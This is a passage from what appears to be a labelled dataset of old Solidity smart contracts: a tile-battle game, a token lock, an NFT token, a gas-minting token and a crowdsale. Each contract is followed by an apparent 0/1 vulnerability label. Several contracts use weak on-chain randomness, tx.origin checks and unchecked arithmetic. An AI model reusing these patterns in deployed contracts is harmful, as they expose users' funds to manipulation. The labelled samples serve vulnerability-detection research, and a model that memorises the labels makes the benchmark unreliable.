seed = uint(keccak256(keccak256(blockhash(block.number), seed), now));
return seed % _upper;
}
function attackTile(address _msgSender, uint16 _tileId, uint _attackAmount, bool _useBattleValue, bool _autoFortify) public isValidCaller {
require(_attackAmount >= 1 finney);
require(_attackAmount % 1 finney == 0);
address claimer;
uint blockValue;
(claimer, blockValue) = bwData.getTileClaimerAndBlockValue(_tileId);
require(claimer != 0);
require(claimer != _msgSender);
require(claimer != owner);
uint attackBoost;
uint defendBoost;
(attackBoost, defendBoost) = bwData.calculateBattleBoost(_tileId, _msgSender, claimer);
uint totalAttackAmount = _attackAmount + attackBoost;
uint totalDefendAmount = blockValue + defendBoost;
require(totalAttackAmount >= _attackAmount);
require(totalDefendAmount >= blockValue);
require(totalAttackAmount + totalDefendAmount > totalAttackAmount && totalAttackAmount + totalDefendAmount > totalDefendAmount);
require(totalAttackAmount / 10 <= blockValue);
require(totalAttackAmount >= blockValue / 10);
uint attackRoll = random(totalAttackAmount + totalDefendAmount);
if (attackRoll > totalDefendAmount) {
emit TileAttackedSuccessfully(_tileId, _msgSender, _attackAmount, totalAttackAmount, claimer, blockValue, totalDefendAmount, attackRoll, block.timestamp);
bwData.setClaimerForTile(_tileId, _msgSender);
if (_useBattleValue) {
if (_autoFortify) {
fortifyClaim(_msgSender, _tileId, _attackAmount);
subUserBattleValue(_msgSender, _attackAmount, false);
} else {
}
} else {
if (_autoFortify) {
fortifyClaim(_msgSender, _tileId, _attackAmount);
} else {
addUserBattleValue(_msgSender, _attackAmount);
}
}
} else {
if (_useBattleValue) {
subUserBattleValue(_msgSender, _attackAmount, false);
}
addUserBattleValue(claimer, _attackAmount);
emit TileDefendedSuccessfully(_tileId, _msgSender, _attackAmount, totalAttackAmount, claimer, blockValue, totalDefendAmount, attackRoll, block.timestamp);
bwData.updateTileTimeStamp(_tileId);
}
}
function moveBlockValue(address _msgSender, uint8 _xSource, uint8 _ySource, uint8 _xDest, uint8 _yDest, uint _moveAmount) public isValidCaller {
uint16 sourceTileId = BWUtility.toTileId(_xSource, _ySource);
uint16 destTileId = BWUtility.toTileId(_xDest, _yDest);
address sourceTileClaimer;
address destTileClaimer;
uint sourceTileBlockValue;
uint destTileBlockValue;
(sourceTileClaimer, sourceTileBlockValue) = bwData.getTileClaimerAndBlockValue(sourceTileId);
(destTileClaimer, destTileBlockValue) = bwData.getTileClaimerAndBlockValue(destTileId);
require(sourceTileClaimer == _msgSender);
require(destTileClaimer == _msgSender);
require(_moveAmount >= 1 finney);
require(_moveAmount % 1 finney == 0);
require(sourceTileBlockValue - _moveAmount < sourceTileBlockValue);
require(destTileBlockValue + _moveAmount > destTileBlockValue);
require(BWUtility.isAdjacent(_xSource, _ySource, _xDest, _yDest));
sourceTileBlockValue -= _moveAmount;
destTileBlockValue += _moveAmount;
if (sourceTileBlockValue == 0) {
bwData.deleteTile(sourceTileId);
} else {
bwData.updateTileBlockValue(sourceTileId, sourceTileBlockValue);
bwData.deleteOffer(sourceTileId);
}
bwData.updateTileBlockValue(destTileId, destTileBlockValue);
bwData.deleteOffer(destTileId);
emit BlockValueMoved(sourceTileId, destTileId, _msgSender, _moveAmount, sourceTileBlockValue, destTileBlockValue, block.timestamp);
}
function withdrawBattleValue(address msgSender, uint _battleValueInWei) public isValidCaller returns (uint) {
require(bwData.hasUser(msgSender));
require(_battleValueInWei % 1 finney == 0);
uint fee = _battleValueInWei / WITHDRAW_FEE;
require(_battleValueInWei - fee < _battleValueInWei);
uint amountToWithdraw = _battleValueInWei - fee;
uint feeBalance = bwData.getFeeBalance();
require(feeBalance + fee >= feeBalance);
feeBalance += fee;
bwData.setFeeBalance(feeBalance);
subUserBattleValue(msgSender, _battleValueInWei, true);
return amountToWithdraw;
}
function addUserBattleValue(address _userId, uint _amount) public isValidCaller {
uint userBattleValue = bwData.getUserBattleValue(_userId);
require(userBattleValue + _amount > userBattleValue);
uint newBattleValue = userBattleValue + _amount;
bwData.setUserBattleValue(_userId, newBattleValue);
emit UserBattleValueUpdated(_userId, newBattleValue, false);
}
function subUserBattleValue(address _userId, uint _amount, bool _isWithdraw) public isValidCaller {
uint userBattleValue = bwData.getUserBattleValue(_userId);
require(_amount <= userBattleValue);
uint newBattleValue = userBattleValue - _amount;
bwData.setUserBattleValue(_userId, newBattleValue);
emit UserBattleValueUpdated(_userId, newBattleValue, _isWithdraw);
}
function addGlobalBlockValueBalance(uint _amount) public isValidCaller {
uint blockValueBalance = bwData.getBlockValueBalance();
require(blockValueBalance + _amount > blockValueBalance);
bwData.setBlockValueBalance(blockValueBalance + _amount);
}
function transferTokens(address _tokenAddress, address _recipient) public isOwner {
ERC20I token = ERC20I(_tokenAddress);
require(token.transfer(_recipient, token.balanceOf(this)));
}
}
contract BWMarket {
address private owner;
BWService private bwService;
BWData private bwData;
bool private allowMarketplace = true;
bool public paused = false;
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
modifier isMarketplaceEnabled {
if (!allowMarketplace) {
revert();
}
_;
}
modifier isNotContractCaller {
require(msg.sender == tx.origin);
_;
}
event TileOfferCreated(uint16 tileId, address seller, uint priceInWei, uint creationTime);
event TileOfferUpdated(uint16 tileId, address seller, uint priceInWei, uint updateTime);
event TileOfferCancelled(uint16 tileId, uint cancelTime, address seller);
event TileOfferAccepted(uint16 tileId, address seller, address buyer, uint priceInWei, uint acceptTime);
constructor(address _bwService, address _bwData) public {
bwService = BWService(_bwService);
bwData = BWData(_bwData);
owner = msg.sender;
}
function () payable public {
revert();
}
function kill() public isOwner {
selfdestruct(owner);
}
function setAllowMarketplace(bool _allowMarketplace) public isOwner {
allowMarketplace = _allowMarketplace;
}
function createOffer(uint16 _tileId, uint _offerInWei) public isMarketplaceEnabled isNotContractCaller {
require(_offerInWei % 1 finney == 0);
require(_offerInWei >= 1 finney);
address claimer;
uint blockValue;
uint creationTime;
uint sellPrice;
(claimer, blockValue, creationTime, sellPrice) = bwData.getTile(_tileId);
require(creationTime > 0);
require(claimer == msg.sender);
bwData.setSellPrice(_tileId, _offerInWei);
if (sellPrice == 0) {
emit TileOfferCreated(_tileId, msg.sender, _offerInWei, block.timestamp);
} else {
emit TileOfferUpdated(_tileId, msg.sender, _offerInWei, block.timestamp);
}
}
function acceptOffer(uint16 _tileId, uint _acceptedBlockValue) payable public isMarketplaceEnabled isNotContractCaller {
uint balance = address(this).balance;
require(balance + msg.value > balance);
address claimer;
uint blockValue;
uint creationTime;
uint sellPrice;
(claimer, blockValue, creationTime, sellPrice) = bwData.getTile(_tileId);
require(creationTime > 0);
require(sellPrice != 0);
require(sellPrice == msg.value);
require(blockValue == _acceptedBlockValue);
require(balance >= sellPrice);
emit TileOfferAccepted(_tileId, claimer, msg.sender, sellPrice, block.timestamp);
uint amountToSend = sellPrice;
address seller = claimer;
bwData.deleteOffer(_tileId);
bwData.setClaimerForTile(_tileId, msg.sender);
seller.transfer(amountToSend);
}
function cancelOffer(uint16 _tileId) public isMarketplaceEnabled isNotContractCaller {
address claimer = bwData.getCurrentClaimerForTile(_tileId);
require(claimer == msg.sender);
bwData.deleteOffer(_tileId);
emit TileOfferCancelled(_tileId, now, msg.sender);
}
function transferTokens(address _tokenAddress, address _recipient) public isOwner {
ERC20I token = ERC20I(_tokenAddress);
require(token.transfer(_recipient, token.balanceOf(this)));
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 26611200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x281C560B17D3CDd65E1DEE70D837428a1E37229d;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
contract ERC721 {
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
}
contract PornstarsInterface {
function ownerOf(uint256 _id) public view returns (
address owner
);
function totalSupply() public view returns (
uint256 total
);
}
contract PornSceneToken is ERC721 {
event Birth(uint256 tokenId, string name, uint[] stars, address owner);
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name, uint[] stars);
event Transfer(address from, address to, uint256 tokenId);
string public constant NAME = "CryptoPornScenes";
string public constant SYMBOL = "PornSceneToken";
uint256 private startingPrice = 0.001 ether;
uint256 private constant PROMO_CREATION_LIMIT = 10000;
uint256 private firstStepLimit = 0.053613 ether;
uint256 private secondStepLimit = 0.564957 ether;
mapping (uint256 => address) public sceneIndexToOwner;
mapping (address => uint256) private ownershipTokenCount;
mapping (uint256 => address) public sceneIndexToApproved;
mapping (uint256 => uint256) private sceneIndexToPrice;
address public ceoAddress;
address public cooAddress;
PornstarsInterface pornstarsContract;
uint currentAwardWinner;
uint256 public promoCreatedCount;
struct Scene {
string name;
uint[] stars;
}
Scene[] private scenes;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
_;
}
function PornSceneToken() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
function approve(
address _to,
uint256 _tokenId
) public {
require(_owns(msg.sender, _tokenId));
sceneIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
function setPornstarsContractAddress(address _address) public onlyCOO {
pornstarsContract = PornstarsInterface(_address);
}
function createPromoScene(address _owner, string _name, uint[] _stars, uint256 _price) public onlyCOO {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address sceneOwner = _owner;
if (sceneOwner == address(0)) {
sceneOwner = cooAddress;
}
if (_price <= 0) {
_price = startingPrice;
}
promoCreatedCount++;
_createScene(_name, _stars, sceneOwner, _price);
}
function createContractScene(string _name, uint[] _stars) public onlyCOO {
_createScene(_name, _stars, address(this), startingPrice);
}
function getScene(uint256 _tokenId) public view returns (
string sceneName,
uint[] stars,
uint256 sellingPrice,
address owner
) {
Scene storage scene = scenes[_tokenId];
sceneName = scene.name;
stars = scene.stars;
sellingPrice = sceneIndexToPrice[_tokenId];
owner = sceneIndexToOwner[_tokenId];
}
function implementsERC721() public pure returns (bool) {
return true;
}
function name() public pure returns (string) {
return NAME;
}
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = sceneIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
function purchase(uint256 _tokenId) public payable {
address oldOwner = sceneIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = sceneIndexToPrice[_tokenId];
require(oldOwner != newOwner);
require(_addressNotNull(newOwner));
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 80), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
Scene memory _scene = scenes[_tokenId];
require(_scene.stars.length > 0);
uint256 holderFee = uint256(SafeMath.div(SafeMath.div(SafeMath.mul(sellingPrice, 10), 100), _scene.stars.length));
uint256 awardOwnerFee = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 4), 100));
if (sellingPrice < firstStepLimit) {
sceneIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 94);
} else if (sellingPrice < secondStepLimit) {
sceneIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 120), 94);
} else {
sceneIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 94);
}
_transfer(oldOwner, newOwner, _tokenId);
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
_paySceneStarOwners(_scene, holderFee);
_payAwardOwner(awardOwnerFee);
TokenSold(_tokenId, sellingPrice, sceneIndexToPrice[_tokenId], oldOwner, newOwner, _scene.name, _scene.stars);
msg.sender.transfer(purchaseExcess);
}
function _paySceneStarOwners(Scene _scene, uint256 fee) private {
for (uint i = 0; i < _scene.stars.length; i++) {
address _pornstarOwner;
(_pornstarOwner) = pornstarsContract.ownerOf(_scene.stars[i]);
if(_isGoodAddress(_pornstarOwner)) {
_pornstarOwner.transfer(fee);
}
}
}
function _payAwardOwner(uint256 fee) private {
address _awardOwner;
(_awardOwner) = pornstarsContract.ownerOf(currentAwardWinner);
if(_isGoodAddress(_awardOwner)) {
_awardOwner.transfer(fee);
}
}
function _isGoodAddress(address _addy) private view returns (bool) {
if(_addy == address(pornstarsContract)) {
return false;
}
if(_addy == address(0) || _addy == address(0x0)) {
return false;
}
return true;
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return sceneIndexToPrice[_tokenId];
}
function starsOf(uint256 _tokenId) public view returns (uint[]) {
return scenes[_tokenId].stars;
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function symbol() public pure returns (string) {
return SYMBOL;
}
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = sceneIndexToOwner[_tokenId];
require(_addressNotNull(newOwner));
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalscenes = totalSupply();
uint256 resultIndex = 0;
uint256 sceneId;
for (sceneId = 0; sceneId <= totalscenes; sceneId++) {
if (sceneIndexToOwner[sceneId] == _owner) {
result[resultIndex] = sceneId;
resultIndex++;
}
}
return result;
}
}
function totalSupply() public view returns (uint256 total) {
return scenes.length;
}
function transfer(
address _to,
uint256 _tokenId
) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return sceneIndexToApproved[_tokenId] == _to;
}
function _createScene(string _name, uint[] _stars,address _owner, uint256 _price) private {
require(_stars.length > 0);
for (uint i = 0; i < _stars.length; i++) {
address _pornstarOwner;
(_pornstarOwner) = pornstarsContract.ownerOf(_stars[i]);
require(_pornstarOwner != address(0) || _pornstarOwner != address(0x0));
}
Scene memory _scene = Scene({
name: _name,
stars: _stars
});
uint256 newSceneId = scenes.push(_scene) - 1;
require(newSceneId == uint256(uint32(newSceneId)));
Birth(newSceneId, _name, _stars, _owner);
sceneIndexToPrice[newSceneId] = _price;
_transfer(address(0), _owner, newSceneId);
}
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == sceneIndexToOwner[_tokenId];
}
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownershipTokenCount[_to]++;
sceneIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete sceneIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
}
contract CryptoPornstarAward is PornSceneToken{
event Award(uint256 currentAwardWinner, uint32 awardTime);
uint nonce = 0;
uint cooldownTime = 60;
uint32 awardTime = uint32(now);
function _triggerCooldown() internal {
awardTime = uint32(now + cooldownTime);
}
function _isTime() internal view returns (bool) {
return (awardTime <= now);
}
function rand(uint min, uint max) internal returns (uint) {
nonce++;
return uint(keccak256(nonce))%(min+max)-min;
}
function setCooldown(uint _newCooldown) public onlyCOO {
require (_newCooldown > 0);
cooldownTime = _newCooldown;
_triggerCooldown();
}
function getAwardTime () public view returns (uint32) {
return awardTime;
}
function getCooldown () public view returns (uint) {
return cooldownTime;
}
function newAward() public onlyCOO {
uint256 _totalPornstars;
(_totalPornstars) = pornstarsContract.totalSupply();
require(_totalPornstars > 0);
require(_isTime());
currentAwardWinner = rand(0, _totalPornstars);
_triggerCooldown();
Award(currentAwardWinner, awardTime);
}
function getCurrentAward() public view returns (uint){
return currentAwardWinner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 |
pragma solidity ^0.4.24;
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract Interacting {
address private owner = msg.sender;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function sendEther(address _to) external payable onlyOwner {
require(_to.call.value(msg.value)(''));
}
function callMethod(address _contract, bytes _extraData) external payable onlyOwner {
require(_contract.call.value(msg.value)(_extraData));
}
function withdrawEther(address _to) external onlyOwner {
_to.transfer(address(this).balance);
}
function () external payable {
}
}
contract RGT {
string public name = 'RGT';
string public symbol = 'RGT';
uint8 public decimals = 18;
uint public k = 10 ** uint(decimals);
uint public k1000 = k / 1000;
uint public totalSupply = 1000000000 * k;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => address) public contracts;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor() public {
balanceOf[msg.sender] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
function mint(uint _amount) internal {
_amount = (_amount + 40000) * k1000 * (1 + balanceOf[msg.sender] * 99 / totalSupply);
balanceOf[msg.sender] += _amount;
totalSupply += _amount;
require(totalSupply >= _amount);
emit Transfer(address(0), address(this), _amount);
emit Transfer(address(this), msg.sender, _amount);
}
modifier createOwnContractIfNeeded {
if (contracts[msg.sender] == 0x0) {
contracts[msg.sender] = new Interacting();
}
_;
}
function sendEther(address _to) external payable createOwnContractIfNeeded {
uint gas = gasleft();
Interacting(contracts[msg.sender]).sendEther.value(msg.value)(_to);
mint(gas - gasleft());
}
function callMethod(address _contract, bytes _extraData) external payable createOwnContractIfNeeded {
uint gas = gasleft();
Interacting(contracts[msg.sender]).callMethod.value(msg.value)(_contract, _extraData);
mint(gas - gasleft());
}
function withdrawEther() external payable createOwnContractIfNeeded {
Interacting(contracts[msg.sender]).withdrawEther(msg.sender);
}
function () external payable createOwnContractIfNeeded {
require(msg.value == 0);
mint(0);
}
} | 0 |
pragma solidity ^0.4.4;
contract BitplusToken {
string public constant name = "Bitplus Token";
string public constant symbol = "BPNT";
uint8 public constant decimals = 18;
uint256 public constant tokenCreationRate = 1000;
uint256 public constant tokenCreationCap = 25000 ether * tokenCreationRate;
uint256 public constant tokenCreationMin = 2500 ether * tokenCreationRate;
uint256 public fundingStartBlock;
uint256 public fundingEndBlock;
bool public funding = true;
address public bitplusAddress;
uint256 totalTokens;
mapping (address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
struct EarlyBackerCondition {
address backerAddress;
uint256 deposited;
uint256 agreedPercentage;
uint256 agreedEthPrice;
}
EarlyBackerCondition[] public earlyBackers;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Refund(address indexed _from, uint256 _value);
event EarlyBackerDeposit(address indexed _from, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function BitplusToken(uint256 _fundingStartBlock,
uint256 _fundingEndBlock) {
address _bitplusAddress = 0x286e0060d9DBEa0231389485D455A80f14648B3c;
if (_bitplusAddress == 0) throw;
if (_fundingStartBlock <= block.number) throw;
if (_fundingEndBlock <= _fundingStartBlock) throw;
earlyBackers.push(EarlyBackerCondition({
backerAddress: 0xa1cfc9ebdffbffe9b27d741ae04cfc2e78af527a,
deposited: 0,
agreedPercentage: 1000,
agreedEthPrice: 250 ether
}));
earlyBackers.push(EarlyBackerCondition({
backerAddress: 0x37ef1168252f274D4cA5b558213d7294085BCA08,
deposited: 0,
agreedPercentage: 500,
agreedEthPrice: 0.1 ether
}));
earlyBackers.push(EarlyBackerCondition({
backerAddress: 0x246604643ac38e96526b66ba91c1b2ec0c39d8de,
deposited: 0,
agreedPercentage: 500,
agreedEthPrice: 0.1 ether
}));
bitplusAddress = _bitplusAddress;
fundingStartBlock = _fundingStartBlock;
fundingEndBlock = _fundingEndBlock;
}
function transfer(address _to, uint256 _value) returns (bool) {
if (funding) throw;
var senderBalance = balances[msg.sender];
if (senderBalance >= _value && _value > 0) {
senderBalance -= _value;
balances[msg.sender] = senderBalance;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if (funding) throw;
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
return true;
} else {
return false;
}
}
function totalSupply() external constant returns (uint256) {
return totalTokens;
}
function balanceOf(address _owner) external constant returns (uint256) {
return balances[_owner];
}
function create() payable external {
if (!funding) throw;
if (block.number < fundingStartBlock) throw;
if (block.number > fundingEndBlock) throw;
if (msg.value == 0) throw;
bool isEarlyBacker = false;
for (uint i = 0; i < earlyBackers.length; i++) {
if(earlyBackers[i].backerAddress == msg.sender) {
earlyBackers[i].deposited += msg.value;
isEarlyBacker = true;
EarlyBackerDeposit(msg.sender, msg.value);
}
}
if(!isEarlyBacker) {
if (msg.value > (tokenCreationCap - totalTokens) / tokenCreationRate)
throw;
var numTokens = msg.value * tokenCreationRate;
totalTokens += numTokens;
balances[msg.sender] += numTokens;
Transfer(0, msg.sender, numTokens);
}
}
function finalize() external {
if (!funding) throw;
if ((block.number <= fundingEndBlock ||
totalTokens < tokenCreationMin) &&
totalTokens < tokenCreationCap) throw;
funding = false;
if (!bitplusAddress.send(this.balance)) throw;
for (uint i = 0; i < earlyBackers.length; i++) {
if(earlyBackers[i].deposited != uint256(0)) {
uint256 percentage = (earlyBackers[i].deposited * earlyBackers[i].agreedPercentage / earlyBackers[i].agreedEthPrice);
uint256 additionalTokens = totalTokens * percentage / (10000 - percentage);
address backerAddr = earlyBackers[i].backerAddress;
balances[backerAddr] = additionalTokens;
totalTokens += additionalTokens;
Transfer(0, backerAddr, additionalTokens);
}
}
}
function refund() external {
if (!funding) throw;
if (block.number <= fundingEndBlock) throw;
if (totalTokens >= tokenCreationMin) throw;
bool isEarlyBacker = false;
uint256 ethValue;
for (uint i = 0; i < earlyBackers.length; i++) {
if(earlyBackers[i].backerAddress == msg.sender) {
isEarlyBacker = true;
ethValue = earlyBackers[i].deposited;
if (ethValue == 0) throw;
}
}
if(!isEarlyBacker) {
var bpntValue = balances[msg.sender];
if (bpntValue == 0) throw;
balances[msg.sender] = 0;
totalTokens -= bpntValue;
ethValue = bpntValue / tokenCreationRate;
}
Refund(msg.sender, ethValue);
if (!msg.sender.send(ethValue)) throw;
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function safeguard() {
if(block.number > (fundingEndBlock + 71000)) {
if (!bitplusAddress.send(this.balance)) throw;
}
}
} | 1 |
pragma solidity ^0.4.15;
contract Token {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract Owned {
event NewOwner(address indexed old, address indexed current);
modifier only_owner {
require (msg.sender == owner);
_;
}
address public owner = msg.sender;
function setOwner(address _new) only_owner {
NewOwner(owner, _new);
owner = _new;
}
}
contract Certifier {
function certified(address _who) constant returns (bool);
}
contract AmberToken is Token, Owned {
struct Account {
uint balance;
mapping (address => uint) allowanceOf;
uint tokensPerPhase;
uint nextPhase;
}
event Minted(address indexed who, uint value);
event MintedLocked(address indexed who, uint value);
function AmberToken() {}
function mint(address _who, uint _value)
only_owner
public
{
accounts[_who].balance += _value;
totalSupply += _value;
Minted(_who, _value);
}
function mintLocked(address _who, uint _value)
only_owner
public
{
accounts[_who].tokensPerPhase += _value / UNLOCK_PHASES;
totalSupply += _value;
MintedLocked(_who, _value);
}
function finalise()
only_owner
public
{
locked = false;
owner = 0;
phaseStart = now;
}
function currentPhase()
public
constant
returns (uint)
{
require (phaseStart > 0);
uint p = (now - phaseStart) / PHASE_DURATION;
return p > UNLOCK_PHASES ? UNLOCK_PHASES : p;
}
function unlockTokens(address _who)
public
{
uint phase = currentPhase();
uint tokens = accounts[_who].tokensPerPhase;
uint nextPhase = accounts[_who].nextPhase;
if (tokens > 0 && phase > nextPhase) {
accounts[_who].balance += tokens * (phase - nextPhase);
accounts[_who].nextPhase = phase;
}
}
function transfer(address _to, uint256 _value)
when_owns(msg.sender, _value)
when_liquid
returns (bool)
{
Transfer(msg.sender, _to, _value);
accounts[msg.sender].balance -= _value;
accounts[_to].balance += _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
when_owns(_from, _value)
when_has_allowance(_from, msg.sender, _value)
when_liquid
returns (bool)
{
Transfer(_from, _to, _value);
accounts[_from].allowanceOf[msg.sender] -= _value;
accounts[_from].balance -= _value;
accounts[_to].balance += _value;
return true;
}
function approve(address _spender, uint256 _value)
when_liquid
returns (bool)
{
require (_value == 0 || accounts[msg.sender].allowanceOf[_spender] == 0);
Approval(msg.sender, _spender, _value);
accounts[msg.sender].allowanceOf[_spender] = _value;
return true;
}
function balanceOf(address _who) constant returns (uint256) {
return accounts[_who].balance;
}
function allowance(address _owner, address _spender)
constant
returns (uint256)
{
return accounts[_owner].allowanceOf[_spender];
}
modifier when_owns(address _owner, uint _amount) {
require (accounts[_owner].balance >= _amount);
_;
}
modifier when_has_allowance(address _owner, address _spender, uint _amount) {
require (accounts[_owner].allowanceOf[_spender] >= _amount);
